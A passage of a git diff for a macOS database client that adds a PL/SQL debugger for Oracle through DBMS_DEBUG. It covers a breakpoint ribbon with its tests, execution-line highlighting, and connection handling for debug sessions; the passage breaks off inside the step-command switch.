diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift
index 9b2f1fa8b1..3d1549cdfd 100644
--- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift
@@ -37,6 +37,16 @@ final class SourceEditorTextView: TextView {
     /// view, the trigger editor, the SQL preview and the AI chat code blocks all use this class.
     var statementBoundaryProvider: ((_ offset: Int, _ forward: Bool) -> Int?)?
 
+    var executionLine: Int? {
+        didSet {
+            guard executionLine != oldValue else { return }
+            needsDisplay = true
+        }
+    }
+
+    // Xcode's green for a stopped line, translucent so the text keeps its theme color on any background.
+    let executionLineColor = NSColor.systemGreen.withDynamicAlpha(0.22)
+
     /// Painted by the text view itself, the way `NSTextView.drawsBackground` does. Left to the enclosing scroll view,
     /// a semantic color such as `textBackgroundColor` is drawn as the window's background inside a window with a
     /// toolbar, so the text area no longer matched the gutter in Dark.
@@ -54,6 +64,8 @@ final class SourceEditorTextView: TextView {
         }
         drawStatementHighlight(in: dirtyRect)
         super.draw(dirtyRect)
+        // After `super`, so the caret line's opaque fill cannot hide it; the text is drawn by subviews above both.
+        drawExecutionLine(in: dirtyRect)
     }
 
     /// `Option+Shift+Up`, per AppKit's own standard key bindings.
@@ -118,4 +130,21 @@ final class SourceEditorTextView: TextView {
         }
         context.restoreGState()
     }
+
+    private func drawExecutionLine(in dirtyRect: NSRect) {
+        guard let executionLine,
+              let line = layoutManager.textLineForIndex(executionLine - 1),
+              line.index == executionLine - 1,
+              let context = NSGraphicsContext.current?.cgContext else {
+            return
+        }
+
+        let band = CGRect(x: 0, y: line.yPos, width: bounds.width, height: line.height).pixelAligned
+        guard band.intersects(dirtyRect) else { return }
+
+        context.saveGState()
+        context.setFillColor(executionLineColor.safeCGColor)
+        context.fill(band.intersection(dirtyRect))
+        context.restoreGState()
+    }
 }
diff --git a/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift
new file mode 100644
index 0000000000..31b01e1dea
--- /dev/null
+++ b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift
@@ -0,0 +1,371 @@
+//
+//  BreakpointRibbonTests.swift
+//  TableProEditorKitTests
+//
+
+import AppKit
+@testable import TableProEditorKit
+import TableProTextEngine
+import Testing
+
+@MainActor
+struct BreakpointRibbonTests {
+    @MainActor
+    private final class Harness {
+        let window: NSWindow
+        let controller: TextViewController
+        private(set) var toggled: [Int] = []
+
+        init(lineCount: Int = 20, windowHeight: CGFloat = 800, setUp: (TextViewController) -> Void = { _ in }) {
+            let text = (1...lineCount).map { "SELECT \($0) FROM orders;" }.joined(separator: "\n")
+            controller = TextViewController(
+                string: text,
+                language: .default,
+                configuration: SourceEditorConfiguration(
+                    appearance: .init(
+                        theme: Mock.theme(),
+                        font: .monospacedSystemFont(ofSize: 12, weight: .regular),
+                        wrapLines: false
+                    ),
+                    behavior: .init(isEditable: false),
+                    peripherals: .init(showFoldingRibbon: false, showBreakpoints: true)
+                ),
+                cursorPositions: [],
+                highlightProviders: []
+            )
+            setUp(controller)
+
+            window = NSWindow(
+                contentRect: NSRect(x: 0, y: 0, width: 800, height: windowHeight),
+                styleMask: [.titled],
+                backing: .buffered,
+                defer: false
+            )
+            window.isReleasedWhenClosed = false
+            window.contentView = controller.view
+            controller.view.layoutSubtreeIfNeeded()
+            controller.textView.updateFrameIfNeeded()
+            controller.textView.layoutManager.layoutLines()
+            controller.gutterView.updateWidthIfNeeded()
+            controller.viewDidAppear()
+
+            controller.onBreakpointToggle = { [weak self] line in
+                self?.toggled.append(line)
+            }
+        }
+
+        var ribbon: BreakpointRibbonView {
+            controller.gutterView.breakpointRibbon
+        }
+
+        func line(_ number: Int) throws -> TextLineStorage<TextLine>.TextLinePosition {
+            try #require(controller.textView.layoutManager.textLineForIndex(number - 1))
+        }
+
+        func windowPoint(onLine number: Int) throws -> NSPoint {
+            let line = try line(number)
+            return ribbon.convert(NSPoint(x: ribbon.bounds.midX, y: line.yPos + line.height / 2), to: nil)
+        }
+
+        func mouse(_ type: NSEvent.EventType, at point: NSPoint) throws -> NSEvent {
+            try #require(NSEvent.mouseEvent(
+                with: type,
+                location: point,
+                modifierFlags: [],
+                timestamp: 0,
+                windowNumber: window.windowNumber,
+                context: nil,
+                eventNumber: 0,
+                clickCount: 1,
+                pressure: 1
+            ))
+        }
+
+        // Delivered to whatever the window hit-tests at the point, so a click that never reaches the ribbon fails.
+        func click(downOnLine down: Int, upOnLine up: Int? = nil, upAcross offset: CGFloat = 0) throws {
+            let downPoint = try windowPoint(onLine: down)
+            var upPoint = try windowPoint(onLine: up ?? down)
+            upPoint.x += offset
+            let target = try #require(window.contentView?.hitTest(downPoint))
+            target.mouseDown(with: try mouse(.leftMouseDown, at: downPoint))
+            target.mouseUp(with: try mouse(.leftMouseUp, at: upPoint))
+        }
+
+        func breakpointElements() -> [BreakpointElement] {
+            (ribbon.accessibilityChildren() as? [BreakpointElement]) ?? []
+        }
+
+        func ribbonColor(onLine number: Int) throws -> NSColor? {
+            let line = try line(number)
+            let rect = NSRect(x: 0, y: line.yPos, width: ribbon.bounds.width, height: line.height)
+            let rep = try #require(ribbon.bitmapImageRepForCachingDisplay(in: rect))
+            ribbon.cacheDisplay(in: rect, to: rep)
+            return rep.colorAt(x: rep.pixelsWide / 2, y: rep.pixelsHigh / 2)?.usingColorSpace(.sRGB)
+        }
+    }
+
+    private static func isRed(_ color: NSColor?) -> Bool {
+        guard let color, color.alphaComponent > 0.5 else { return false }
+        return color.redComponent > 0.7 && color.greenComponent < 0.5 && color.blueComponent < 0.5
+    }
+
+    private static func isGreen(_ color: NSColor?) -> Bool {
+        guard let color, color.alphaComponent > 0.5 else { return false }
+        return color.greenComponent > 0.6 && color.redComponent < 0.5 && color.blueComponent < 0.6
+    }
+
+    // MARK: - Clicks
+
+    @Test("A click on a line without a breakpoint asks the host to add one there, in a read-only editor")
+    func clickOnEmptyLineAsksToAdd() throws {
+        let harness = Harness()
+        try #require(!harness.controller.isEditable)
+        #expect(harness.window.contentView?.hitTest(try harness.windowPoint(onLine: 3)) === harness.ribbon)
+
+        try harness.click(downOnLine: 3)
+
+        #expect(harness.toggled == [3])
+        #expect(harness.controller.breakpointLines.isEmpty, "the editor leaves the set to the host")
+    }
+
+    @Test("A click on a breakpoint asks the host to remove it")
+    func clickOnMarkerAsksToRemove() throws {
+        let harness = Harness()
+        harness.controller.breakpointLines = [7]
+
+        try harness.click(downOnLine: 7)
+
+        #expect(harness.toggled == [7])
+        #expect(harness.controller.breakpointLines == [7])
+    }
+
+    @Test("Dragging off the line before releasing takes the click back")
+    func dragOffCancels() throws {
+        let harness = Harness()
+
+        try harness.click(downOnLine: 3, upOnLine: 5)
+
+        #expect(harness.toggled.isEmpty)
+    }
+
+    @Test("Dragging sideways into the source before releasing takes the click back")
+    func dragIntoTheSourceCancels() throws {
+        let harness = Harness()
+
+        try harness.click(downOnLine: 3, upAcross: harness.ribbon.bounds.width + 40)
+
+        #expect(harness.toggled.isEmpty)
+    }
+
+    // MARK: - Drawing and accessibility
+
+    @Test("Each breakpoint is drawn and published as one accessibility element")
+    func eachBreakpointIsDrawnAndPublished() throws {
+        let harness = Harness()
+        harness.controller.breakpointLines = [2, 5]
+
+        #expect(Self.isRed(try harness.ribbonColor(onLine: 2)))
+        #expect(Self.isRed(try harness.ribbonColor(onLine: 5)))
+        #expect(!Self.isRed(try harness.ribbonColor(onLine: 3)))
+
+        let elements = harness.breakpointElements()
+        #expect(elements.map { $0.line } == [2, 5])
+        #expect(elements.map { $0.accessibilityLabel() } == ["Breakpoint, line 2", "Breakpoint, line 5"])
+        #expect(elements.allSatisfy { $0.accessibilityRole() == .button })
+
+        let line5 = try harness.line(5)
+        let frame = try #require(elements.last?.accessibilityFrame())
+        let expected = harness.window.convertToScreen(harness.ribbon.convert(
+            NSRect(x: 0, y: line5.yPos, width: harness.ribbon.bounds.width, height: line5.height),
+            to: nil
+        ))
+        #expect(frame == expected)
+    }
+
+    @Test("Pressing a breakpoint's element asks the host to remove it")
+    func pressingElementAsksToRemove() throws {
+        let harness = Harness()
+        harness.controller.breakpointLines = [2, 5]
+
+        let element = try #require(harness.breakpointElements().last)
+        #expect(element.accessibilityPerformPress())
+
+        #expect(harness.toggled == [5])
+    }
+
+    @Test("Removing a breakpoint drops its element")
+    func removingBreakpointDropsElement() {
+        let harness = Harness()
+        harness.controller.breakpointLines = [2, 5]
+        #expect(harness.breakpointElements().count == 2)
+
+        harness.controller.breakpointLines = [5]
+
+        #expect(harness.breakpointElements().map { $0.line } == [5])
+    }
+
+    @Test("The ribbon groups the breakpoints and announces no execution line while none is set")
+    func ribbonGroup() {
+        let harness = Harness()
+
+        #expect(harness.ribbon.isAccessibilityElement())
+        #expect(harness.ribbon.accessibilityRole() == .group)
+        #expect(harness.ribbon.accessibilityLabel() == "Breakpoints")
+        #expect(harness.ribbon.accessibilityValue() == nil)
+    }
+
+    // MARK: - Execution line
+
+    @Test("Setting the execution line scrolls it into view, marks it and announces it")
+    func executionLineScrollsAndIsExposed() throws {
+        let harness = Harness(lineCount: 300, windowHeight: 300)
+        let textView = try #require(harness.controller.textView)
+        let start = try harness.line(250)
+        #expect(start.yPos > textView.visibleRect.maxY, "starts out of view")
+
+        harness.controller.executionLine = 250
+
+        let line = try harness.line(250)
+        #expect(textView.visibleRect.contains(CGPoint(x: textView.visibleRect.midX, y: line.yPos + line.height / 2)))
+        #expect(harness.ribbon.accessibilityValue() as? String == "Paused at line 250")
+        #expect(Self.isGreen(try harness.ribbonColor(onLine: 250)))
+        #expect((textView as? SourceEditorTextView)?.executionLine == 250)
+
+        harness.controller.executionLine = nil
+
+        #expect(harness.ribbon.accessibilityValue() == nil)
+        #expect(!Self.isGreen(try harness.ribbonColor(onLine: 250)))
+    }
+
+    @Test("The execution line is painted across the text, not on the lines beside it")
+    func executionLineBand() throws {
+        let harness = Harness(lineCount: 10)
+        let textView = try #require(harness.controller.textView)
+
+        func colorAtLineEnd(_ number: Int) throws -> NSColor? {
+            let line = try harness.line(number)
+            let rect = NSRect(x: textView.bounds.maxX - 20, y: line.yPos, width: 10, height: line.height)
+            let rep = try #require(textView.bitmapImageRepForCachingDisplay(in: rect))
+            textView.cacheDisplay(in: rect, to: rep)
+            return rep.colorAt(x: rep.pixelsWide / 2, y: rep.pixelsHigh / 2)?.usingColorSpace(.sRGB)
+        }
+
+        let before = try #require(try colorAtLineEnd(4))
+        harness.controller.executionLine = 4
+        let marked = try #require(try colorAtLineEnd(4))
+        let neighbour = try #require(try colorAtLineEnd(5))
+
+        #expect(marked != before)
+        #expect(marked.greenComponent > marked.redComponent && marked.greenComponent > marked.blueComponent)
+        #expect(neighbour == before)
+    }
+
+    @Test("A line set before the editor appears is scrolled to once it does")
+    func executionLineSetBeforeAppearing() throws {
+        let harness = Harness(lineCount: 300, windowHeight: 300) { controller in
+            controller.executionLine = 250
+        }
+
+        let line = try harness.line(250)
+        let visible = harness.controller.textView.visibleRect
+        #expect(visible.contains(CGPoint(x: visible.midX, y: line.yPos + line.height / 2)))
+        #expect(!harness.controller.executionLineNeedsReveal)
+    }
+
+    @Test("A line set before the source arrives is scrolled to once the text replaces the document")
+    func executionLineSetBeforeTheSourceArrives() throws {
+        let harness = Harness(lineCount: 1, windowHeight: 300)
+        let textView = try #require(harness.controller.textView)
+
+        harness.controller.executionLine = 250
+        #expect(harness.controller.executionLineNeedsReveal, "no line 250 to scroll to yet")
+        let before = textView.visibleRect
+
+        harness.controller.setText((1...300).map { "SELECT \($0) FROM orders;" }.joined(separator: "\n"))
+
+        let line = try harness.line(250)
+        let visible = textView.visibleRect
+        #expect(visible.minY > before.minY)
+        #expect(visible.contains(CGPoint(x: visible.midX, y: line.yPos + line.height / 2)))
+        #expect(!harness.controller.executionLineNeedsReveal)
+    }
+
+    @Test("A breakpoint on the execution line keeps its own marker")
+    func breakpointOnExecutionLine() throws {
+        let harness = Harness()
+        harness.controller.breakpointLines = [4]
+        harness.controller.executionLine = 4
+
+        let color = try harness.ribbonColor(onLine: 4)
+        let edge = try harness.line(4)
+        let rect = NSRect(x: 0, y: edge.yPos, width: harness.ribbon.bounds.width, height: edge.height)
+        let rep = try #require(harness.ribbon.bitmapImageRepForCachingDisplay(in: rect))
+        harness.ribbon.cacheDisplay(in: rect, to: rep)
+        let reds = (0..<rep.pixelsWide).filter { x in
+            Self.isRed(rep.colorAt(x: x, y: rep.pixelsHigh / 2)?.usingColorSpace(.sRGB))
+        }
+
+        #expect(!reds.isEmpty, "the breakpoint is still drawn")
+        #expect(!Self.isRed(color), "the execution arrow sits inside it")
+        #expect(harness.breakpointElements().map { $0.line } == [4])
+    }
+
+    // MARK: - Width
+
+    private func gutterWidth(_ peripherals: SourceEditorConfiguration.Peripherals) -> (TextViewController, CGFloat) {
+        let controller = TextViewController(
+            string: "SELECT 1;\nSELECT 2;",
+            language: .default,
+            configuration: SourceEditorConfiguration(
+                appearance: .init(
+                    theme: Mock.theme(),
+                    font: .monospacedSystemFont(ofSize: 12, weight: .regular),
+                    wrapLines: false
+                ),
+                peripherals: peripherals
+            ),
+            cursorPositions: [],
+            highlightProviders: []
+        )
+        controller.loadView()
+        controller.gutterView.updateWidthIfNeeded()
+        return (controller, controller.gutterView.frame.width)
+    }
+
+    @Test("A gutter without the breakpoint ribbon measures as one that never had it")
+    func hiddenRibbonLeavesWidthUnchanged() {
+        let (_, plain) = gutterWidth(.init(gutterFitsContent: true))
+        let (controller, hidden) = gutterWidth(.init(gutterFitsContent: true, showBreakpoints: false))
+        #expect(hidden == plain)
+        #expect(controller.gutterView.breakpointRibbon.isHidden)
+        #expect(controller.gutterView.breakpointRibbonWidth == 0)
+
+        controller.configuration.peripherals.showBreakpoints = true
+        let reserved = BreakpointRibbonView.width + controller.gutterView.breakpointRibbonPadding
+        #expect(abs(controller.gutterView.frame.width - (plain + reserved)) < 0.001)
+        #expect(controller.gutterView.breakpointRibbon.frame.width == BreakpointRibbonView.width)
+
+        controller.configuration.peripherals.showBreakpoints = false
+        #expect(controller.gutterView.frame.width == plain)
+        #expect(controller.floatingSubviewInsets.left == plain)
+    }
+
+    @Test("Hidden breakpoints leave the run controls where they were")
+    func hiddenRibbonLeavesRunControlsInPlace() {
+        let (_, runOnly) = gutterWidth(.init(showStatementRunControls: true))
+        let (controller, withHidden) = gutterWidth(.init(showStatementRunControls: true, showBreakpoints: false))
+        #expect(withHidden == runOnly)
+        #expect(controller.gutterView.statementRunRibbon.frame.minX == 0)
+
+        controller.configuration.peripherals.showBreakpoints = true
+        #expect(controller.gutterView.breakpointRibbon.frame.minX == 0)
+        #expect(controller.gutterView.statementRunRibbon.frame.minX == controller.gutterView.breakpointRibbonWidth)
+    }
+
+    @Test("The ribbon fits in the margin a window-edge gutter already keeps")
+    func ribbonFitsInWindowMargin() {
+        let (_, plain) = gutterWidth(.init())
+        let (_, shown) = gutterWidth(.init(showBreakpoints: true))
+        #expect(shown == plain)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift
index 8c60c6df99..b5a7d7b39c 100644
--- a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift
@@ -13,20 +13,20 @@ internal enum QueryGateTurn: Sendable, Equatable {
     case busy(for: Duration)
 }
 
-/// What a health check should do with the turn it was given.
+// What a health check does with its turn: probe an idle channel, call a busy one alive, or call it wedged once a
+// statement has held it past the staleness limit.
 internal enum OraclePingDecision: Sendable, Equatable {
-    /// The probe owns the channel and may run, and may close it if it gets no answer.
     case probe
-    /// Somebody else is using the channel, which answers the question better than a probe could.
     case reportAlive
-    /// Nothing has moved on the channel for longer than any statement is allowed to run.
     case reportWedged
 
-    static func of(_ turn: QueryGateTurn, wedgedAfter: Duration) -> OraclePingDecision {
+    // No limit for a debug session: its statement is a routine paused at a breakpoint for as long as a person reads it.
+    static func of(_ turn: QueryGateTurn, wedgedAfter: Duration?) -> OraclePingDecision {
         switch turn {
         case .acquired:
             return .probe
         case .busy(let held):
+            guard let wedgedAfter else { return .reportAlive }
             return held > wedgedAfter ? .reportWedged : .reportAlive
         }
     }
@@ -111,6 +111,7 @@ public final class OracleCoreConnection: @unchecked Sendable {
         /// Read before the first statement of each session, and again before the statement after one that can
         /// change them, so no result ever waits on them mid-stream.
         var sessionZones: OracleSessionTimeZones?
+        var isReservedForDebugging = false
     }
 
     private let state = OSAllocatedUnfairLock(initialState: LockedState())
@@ -409,43 +410,42 @@ public final class OracleCoreConnection: @unchecked Sendable {
     }
 
     public func applyQueryTimeout(_ seconds: Int) {
-        state.withLock { $0.queryTimeoutSeconds = OracleQueryTimeout.boundedSeconds(seconds) }
+        state.withLock { current in
+            guard !current.isReservedForDebugging else { return }
+            current.queryTimeoutSeconds = OracleQueryTimeout.boundedSeconds(seconds)
+        }
+    }
+
+    // A debug session's statement is a routine that waits at a breakpoint for a person: no query timeout, no
+    // staleness limit on the health check, and no silent redial, since a new session would not be the one debugged.
+    public func reserveForDebugging() {
+        state.withLock { current in
+            current.isReservedForDebugging = true
+            current.queryTimeoutSeconds = 0
+        }
+    }
+
+    public var isReservedForDebugging: Bool {
+        state.withLock { $0.isReservedForDebugging }
     }
 
     public func noteSessionSchema(_ schema: String) {
         state.withLock { $0.sessionSchema = schema }
     }
 
-    /// How long a statement may hold the channel before a probe that cannot get a turn treats it
-    /// as wedged rather than as evidence the connection is alive. It is the app's own
-    /// `max(queryTimeout, 300)` staleness rule, read from the timeout the app already told the
-    /// driver about, so the two cannot drift. An unlimited query timeout is the user saying a
-    /// statement may run for as long as it runs, and the floor still catches a socket that died
-    /// without closing.
-    private var wedgedStatementSeconds: Double {
-        max(Double(state.withLock { $0.queryTimeoutSeconds }), 300)
+    // The app's own `max(queryTimeout, 300)` staleness rule, read from the timeout it gave the driver so the two
+    // cannot drift. Nil for a debug session.
+    var wedgedStatementLimit: Duration? {
+        state.withLock { current in
+            current.isReservedForDebugging ? nil : .seconds(max(Double(current.queryTimeoutSeconds), 300))
+        }
     }
 
-    /// Answers whether this connection still works, without ever taking the channel away from
-    /// whoever is using it.
-    ///
-    /// A probe may close a channel only while it owns it. The old shape wrapped `executeQuery` in
-    /// a ten second deadline, and `executeQuery` opens by waiting on the query gate, so the
-    /// deadline covered the queue rather than the round trip: a probe that never got a turn fired
-    /// `disconnect()` into a healthy statement, which OracleNIO reports to that statement as
-    /// `clientClosedConnection` (#3053).
-    ///
-    /// A statement already in flight answers the question better than a probe could, so a busy
-    /// channel reads as alive. Past ``wedgedStatementSeconds`` it reads as wedged instead, which
-    /// is what keeps the app's own stale-query escape valve working.
-    ///
-    /// It asks OracleNIO directly rather than running `SELECT 1` through the app's statement path:
-    /// there is no transaction role to admit, no autocommit flag to choose, and no silent redial,
-    /// so a connection that has gone away reports that it has gone away instead of reporting the
-    /// health of a replacement nobody asked for.
+    // A probe closes the channel only while it owns it (#3053). A busy channel reads as alive until
+    // `wedgedStatementLimit`; OracleNIO is asked directly, so a dead connection is never replaced by a redial.
     public func ping() async throws {
         let turn = await queryGate.takeTurnIfFree()
-        switch OraclePingDecision.of(turn, wedgedAfter: .seconds(wedgedStatementSeconds)) {
+        switch OraclePingDecision.of(turn, wedgedAfter: wedgedStatementLimit) {
         case .reportAlive:
             return
         case .reportWedged:
@@ -535,6 +535,9 @@ public final class OracleCoreConnection: @unchecked Sendable {
         guard state.withLock({ $0.hasEverConnected && $0.close.allowsReconnect }) else {
             throw OracleCoreError.notConnected
         }
+        if state.withLock({ $0.isReservedForDebugging }) {
+            throw OracleCoreError.connectionClosed
+        }
 
         osLogger.notice("Reconnecting to Oracle after the previous connection was closed")
         try await connect()
@@ -617,6 +620,56 @@ public final class OracleCoreConnection: @unchecked Sendable {
         return answer.rows.first?.first.map { $0 != .null } ?? false
     }
 
+    // MARK: - Debugging
+
+    // Runs one statement as given: no transaction bookkeeping, session zone read or redial, all of which would send
+    // PL/SQL of their own, and a session in DBMS_DEBUG mode stops at the first PL/SQL it runs. A statement that opens
+    // `:rows` returns that cursor's first column.
+    public func executeDirect(
+        _ sql: String,
+        binds: [OracleBindValue] = [],
+        autoCommit: Bool = false,
+        readsRows: Bool = false
+    ) async throws -> [String?] {
+        await queryGate.acquire()
+        do {
+            let connection = try requireConnection()
+            let rows = try await withQueryDeadline { [self] in
+                try await runDirect(sql, binds: binds, autoCommit: autoCommit, readsRows: readsRows, on: connection)
+            }
+            await queryGate.release()
+            return rows
+        } catch {
+            let mapped = mapExecutionError(error)
+            await queryGate.release()
+            throw mapped
+        }
+    }
+
+    private func runDirect(
+        _ sql: String,
+        binds: [OracleBindValue],
+        autoCommit: Bool,
+        readsRows: Bool,
+        on connection: OracleNIO.OracleConnection
+    ) async throws -> [String?] {
+        var bindings = OracleBindValue.bindings(for: binds)
+        let options = StatementOptions(autoCommit: autoCommit)
+        guard readsRows else {
+            try await discardRows(OracleStatement(unsafeSQL: sql, binds: bindings), options: options, on: connection)
+            return []
+        }
+        let cursorRef = OracleRef(dataType: .cursor)
+        bindings.append(cursorRef, bindName: OracleDebugPayload.cursorBindName, isReturning: false)
+        try await connection.execute(OracleStatement(unsafeSQL: sql, binds: bindings), options: options, logger: nioLogger)
+        let cursor = try cursorRef.decode(as: Cursor.self)
+        var rows: [String?] = []
+        for try await row in try await cursor.execute(on: connection, logger: nioLogger) {
+            rows.append(try row.decode(String?.self))
+        }
+        return rows
+    }
+
     // MARK: - Server Output
 
     /// Turns `DBMS_OUTPUT` on for this session, and for every session a reconnect replaces it with, since the setting
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift
new file mode 100644
index 0000000000..725f38aa2d
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift
@@ -0,0 +1,614 @@
+import Foundation
+import OSLog
+
+private let logger = Logger(subsystem: "com.TablePro", category: "OracleDBMSDebugSession")
+
+// DBMS_DEBUG: the target runs the routine in debug mode and the supervisor drives it through DBMS_DEBUG calls. Both
+// are client connections, so it works through every transport the app has, where JDWP needs the server to reach
+// this Mac. Oracle documents it as deprecated since 12.2; it works on 23.26 (measured).
+public actor OracleDBMSDebugSession: OracleDebugEngine {
+    nonisolated public let mechanism = OracleDebugMechanism.dbmsDebug
+    // break_any_return stops in the caller after the return (measured from a depth-3 frame).
+    nonisolated public let supportsStepOut = true
+    nonisolated public let notices: AsyncStream<OracleDebugNotice>
+    private let noticeContinuation: AsyncStream<OracleDebugNotice>.Continuation
+
+    private enum State {
+        case ready
+        case running
+        case paused
+        case ended
+    }
+
+    // What the supervisor last heard from the target. A wait whose answer never came or did not read leaves it unknown:
+    // the target may then be paused, waiting for the supervisor, while no step shows it.
+    private enum TargetPosition {
+        case running
+        case paused
+        case unknown
+    }
+
+    private struct BreakpointKey: Hashable {
+        let unit: OracleDebugUnit
+        let line: Int
+    }
+
+    private struct VisibleFrame {
+        let location: OracleDebugLocation
+        let subprogram: String?
+        // GET_VALUE's frame number: 0 for the running frame, else the PRINT_BACKTRACE index.
+        let valueFrame: Int
+    }
+
+    private typealias Statements = OracleDBMSDebugStatements
+
+    private let target: any OracleDebugChannel
+    private let supervisor: any OracleDebugChannel
+    private let entryPoint: OracleDebugEntryPoint
+    private let invocation: OracleDebugStatements.Invocation
+    private let callEndWait: Duration
+
+    private var state = State.ready
+    private var targetPosition = TargetPosition.running
+    private var call: Task<Result<[String?], Error>, Never>?
+    private var lastEvent: Statements.Event?
+    private var placed: [BreakpointKey: Int] = [:]
+    private var pending: Set<BreakpointKey> = []
+    private var holds = OracleDebugBreakpointHolds()
+    private var lineMaps: [OracleDebugUnit: [Int]] = [:]
+    private var scans: [OracleDebugUnit: OraclePLSQLDeclarationScan] = [:]
+    private var pinger: Task<Void, Never>?
+    private var isDriving = false
+    private var stopRequested = false
+    private var isStopped = false
+    private var gaveUp = false
+    private var stopResult = OracleDebugStopResult.ended
+    private var targetIdentity: OracleDebugSessionIdentity?
+    private var callResult: Result<[String?], Error>?
+    private var stopWaiters: [CheckedContinuation<Void, Never>] = []
+
+    init(
+        target: any OracleDebugChannel,
+        supervisor: any OracleDebugChannel,
+        entryPoint: OracleDebugEntryPoint,
+        invocation: OracleDebugStatements.Invocation,
+        callEndWait: Duration = OracleDebugSupport.callEndWait,
+        notices initial: [OracleDebugNotice]
+    ) {
+        self.target = target
+        self.supervisor = supervisor
+        self.entryPoint = entryPoint
+        self.invocation = invocation
+        self.callEndWait = callEndWait
+        (notices, noticeContinuation) = AsyncStream.makeStream(of: OracleDebugNotice.self)
+        for notice in initial {
+            noticeContinuation.yield(notice)
+        }
+    }
+
+    // DEBUG_ON takes effect after its own call, so the next PL/SQL the target runs is the routine.
+    func start(breakpoints: [(unit: OracleDebugUnit, line: Int)]) async throws {
+        let debugID = "TP" + UUID().uuidString.replacingOccurrences(of: "-", with: "")
+        targetIdentity = await OracleDebugSupport.sessionIdentity(of: target)
+        let setup = Statements.targetSetup(debugID: debugID)
+        _ = try await target.executeDirect(setup.block, binds: setup.binds)
+        _ = try await supervisor.executeDirect(Statements.ownSchema)
+        let attach = Statements.attach(debugID: debugID)
+        _ = try await supervisor.executeDirect(attach.block, binds: attach.binds)
+        for breakpoint in breakpoints {
+            _ = try await setBreakpoint(in: breakpoint.unit, line: breakpoint.line, atStart: true)
+        }
+    }
+
+    // MARK: - Running
+
+    public func firstStop() async throws -> OracleDebugStop {
+        guard state == .ready else { throw OracleDebugError.notPaused }
+        if stopRequested { return .failed(.stopped) }
+        state = .running
+        let target = target
+        let invocation = invocation
+        let call = Task { () -> Result<[String?], Error> in
+            do {
+                return .success(try await target.executeDirect(invocation.block, binds: invocation.binds, readsRows: true))
+            } catch {
+                return .failure(error)
+            }
+        }
+        self.call = call
+        Task { [weak self] in
+            let result = await call.value
+            await self?.markCallEnded(result)
+        }
+        isDriving = true
+        defer { isDriving = false }
+        return try await stoppedOnError { try await driveToEntry() }
+    }
+
+    private func driveToEntry() async throws -> OracleDebugStop {
+        var event = try await wait(flags: nil)
+        guard event.isPause else { return await conclude() }
+        let (entryBreakpoints, entryLines) = try await placeEntryBreakpoints()
+        for key in pending {
+            pending.remove(key)
+            if let number = try await placeNow(key) {
+                placed[key] = number
+            } else {
+                holds.drop(key.line, in: key.unit)
+                noticeContinuation.yield(.breakpointHasNoCode(unit: key.unit, line: key.line))
+            }
+        }
+        if entryBreakpoints.isEmpty {
+            event = try await stepToEntry(from: event)
+        } else {
+            // A person's breakpoint on the same header line can be the number that answers.
+            func isEntry(_ event: Statements.Event) -> Bool {
+                if entryBreakpoints.contains(event.breakpoint ?? -1) { return true }
+                guard let location = location(of: event) else { return false }
+                return location.unit == entryPoint.entry.unit && entryLines.contains(location.line)
+            }
+            repeat {
+                event = try await wait(flags: Statements.BreakFlags.breakpointsOnly)
+            } while event.isPause && !isEntry(event) && !stopRequested
+            let userNumbers = Set(placed.values)
+            let temporary = entryBreakpoints.subtracting(userNumbers)
+            if event.isPause, !temporary.isEmpty {
+                _ = try await supervisor.executeDirect(Statements.deleteBreakpoints(temporary.sorted()))
+            }
+        }
+        return await settle(event)
+    }
+
+    // The header line of every overload with the entry point's name; DBMS_DEBUG accepts a breakpoint there and stops
+    // before the declarations run (measured).
+    private func placeEntryBreakpoints() async throws -> (numbers: Set<Int>, lines: Set<Int>) {
+        let unit = entryPoint.entry.unit
+        let headers: [Int]
+        if entryPoint.entry.isPackaged {
+            headers = try await scan(of: unit).headerLines(ofSubprogramNamed: entryPoint.entry.subprogram)
+        } else {
+            headers = [1]
+        }
+        let executable = try await executableLines(of: unit)
+        var numbers: Set<Int> = []
+        var lines: Set<Int> = []
+        for header in headers {
+            guard let line = executable.first(where: { $0 >= header }) else { continue }
+            lines.insert(line)
+            let fields = try await OracleDebugSupport.payload(Statements.setBreakpoint(unit: unit, line: line), on: supervisor)
+            let answer = try Statements.breakpointAnswer(fromPayload: fields)
+            if answer.status == Statements.Status.success, let number = answer.number {
+                numbers.insert(number)
+            }
+        }
+        return (numbers, lines)
+    }
+
+    // Without a header line to stop at, step into calls until the entry point's own frame runs.
+    private func stepToEntry(from start: Statements.Event) async throws -> Statements.Event {
+        var event = start
+        for _ in 0..<10_000 where event.isPause && !stopRequested {
+            event = try await wait(flags: Statements.BreakFlags.anyCall)
+            if let top = event.backtrace.last, top.unit == entryPoint.entry.unit,
+               !entryPoint.entry.isPackaged || top.entryPoint?.uppercased() == entryPoint.entry.subprogram {
+                break
+            }
+        }
+        return event
+    }
+
+    public func perform(_ command: OracleDebugCommand) async throws -> OracleDebugStop {
+        guard state == .paused, !stopRequested else {
+            if stopRequested { return .failed(.stopped) }
+            throw OracleDebugError.notPaused
+        }
+        state = .running
+        isDriving = true
+        defer { isDriving = false }
+        let flags: Int
+        switch command {
+        case .continueExecution: flags = Statements.BreakFlags.breakpointsOnly
+        case .stepOver: flags = Statements.BreakFlags.nextLine
+        case .stepInto: flags = Statements.BreakFlags.anyCall
+        case .stepOut: flags = Statements.BreakFlags.anyReturn
+        }
